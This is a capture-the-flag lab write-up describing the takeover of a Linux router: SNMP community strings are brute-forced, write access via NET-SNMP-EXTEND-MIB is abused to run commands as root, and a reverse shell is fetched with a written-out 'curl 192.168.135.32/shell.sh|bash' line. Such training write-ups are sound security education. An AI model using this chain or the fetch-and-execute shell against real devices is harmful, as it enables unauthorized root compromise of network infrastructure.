Operation Takeover
Take control of the network one router at a time. - by munra
The following post by 0xb0b is licensed under CC BY 4.0
Scenario
We've gained access to the network devices VLAN. It's time to hack into one of the routers!
Summary
Summary
In Operation Takeover, we enumerate a network device VLAN and identify a Linux-based router exposing SSH, BGP, FRRouting VTY, and an SNMP service. After failing to brute-force the VTY interface, we discover a weak SNMP community string, pr1v4t3, using onesixtyone, granting authenticated access to the device MIB. We confirm misconfiguration by achieving SNMP write access, then pivot to remote code execution using the NET-SNMP-EXTEND-MIB by defining a malicious extend entry that executes arbitrary system commands. By chaining this with a curl-hosted bash payload, we trigger a reverse shell callback and achieve root-level access on the router, fully compromising the device and retrieving the flag from /root/flag.txt.
Recon
We use rustscan -b 500 -a 10.114.155.6 --top -- -sC -sV -Pn to enumerate all TCP ports on the target machine, piping the discovered results into Nmap which runs default NSE scripts -sC, service and version detection -sV, and treats the host as online without ICMP echo -Pn.
A batch size of 500 trades speed for stability, the default 1500 balances both, while much larger sizes increase throughput but risk missed responses and instability.
The target machine appears to be a Linux-based router/network appliance host running Ubuntu with FRRouting (FRR) 10.0 and OpenSSH 8.2p1. The exposed services are SSH on 22, BGP on 179, and an FRRouting VTY management interface on 2623 requiring password authentication. Port 179 strongly suggests active BGP peering capability, while 2623 could expose direct administrative access to the routing daemon.
While 2623 could expose direct administrative access to the routing daemon it is password restricted. Initial brute-force attempts were unsuccessful.
We perform a UDP scan using Nmap and find that port 161 is open SNMP.
Running a version and script scan reveals that the target is running an SNMPv3 service. While SNMPv3 requires at least password-based authentication when properly configured, the server also supports SNMPv1 and SNMPv2. Since the older versions may allow easier enumeration, let’s try interacting with it using SNMPv2.
We used onesixtyone to brute-force SNMP community strings against the target with a common wordlist from SecLists. This checks whether the target's SNMPv1/v2c service accepts weak or default community strings like public or private.
We find what we're looking for and enumerate the community string pr1v4t3.
We used snmpwalk with SNMPv2c and the discovered community string pr1v4t3 to enumerate the target's Management Information Base (MIB). This allows us to retrieve detailed system and service information exposed over SNMP. But we do not find any useful information like a password used for the FRRouting VTY management interface.
Shell as root
The community strings private or pr1v4t3 are commonly used for read-write SNMP access, meaning they may allow not only enumeration but also modification of device settings if misconfigured. If so, we might be able to leverage the write permission to gain RCE.
The following source provides a helpful overview of SNMP penetration testing:
First, let's see if we can write. We try to change the system name...
... and we are successful.
A detailed report on how to achieve code execution via SNMP write can be found here:
Read Flag
SNMP write access can be leveraged for RCE because NET-SNMP-EXTEND-MIB allows defining custom extend entries that the SNMP agent executes on the host turning SNMP into a command launcher.
Setting nsExtendStatus."command" = createAndGo triggers the agent to start a new extend task, which runs the command defined in nsExtendCommand with the supplied arguments.
We try to list the file in /root.
The SNMP walk triggers execution because the NET-SNMP extend MIB evaluates commands dynamically when its OID subtree is queried, causing the agent to run or refresh the defined command during the request.
We run the following command to trigger the command placed. We see the flag is placed at /root/flag.txt.
.1.3.6.1.4.1.8072.1.3.2 is part of the NET-SNMP enterprise MIB tree.
1.3.6.1.4.1→ private enterprise space (IANA)8072→ NET-SNMP (UCD-SNMP) enterprise ID1.3.6.1.4.1.8072.1→ NET-SNMP MIB root...1.3→ NET-SNMP extend mechanism...2→ extend output table
Next, we updated the NET-SNMP-EXTEND-MIB entry to read the flag. We might need to issue it twice.
We trigger the placed command and are able to read the flag.
Get Shell
To get a shell we prepare the following. Since the size in characters to use is limited we request a reverse shell script via curl and immediately execute it.
We run a python web server to fetch the shell script later.
We prepare a listener to catch our reverse shell.
And place the following reverse shell script in the root folder of our web server.
We fetch and execute the reverse shell via /bin/bash-c "curl 192.168.135.32/shell.sh|bash.
Next, we trigger the placed command. The reverse shell script gets fetched and executed.
We are root and find the flag at /root/flag.txt.
Last updated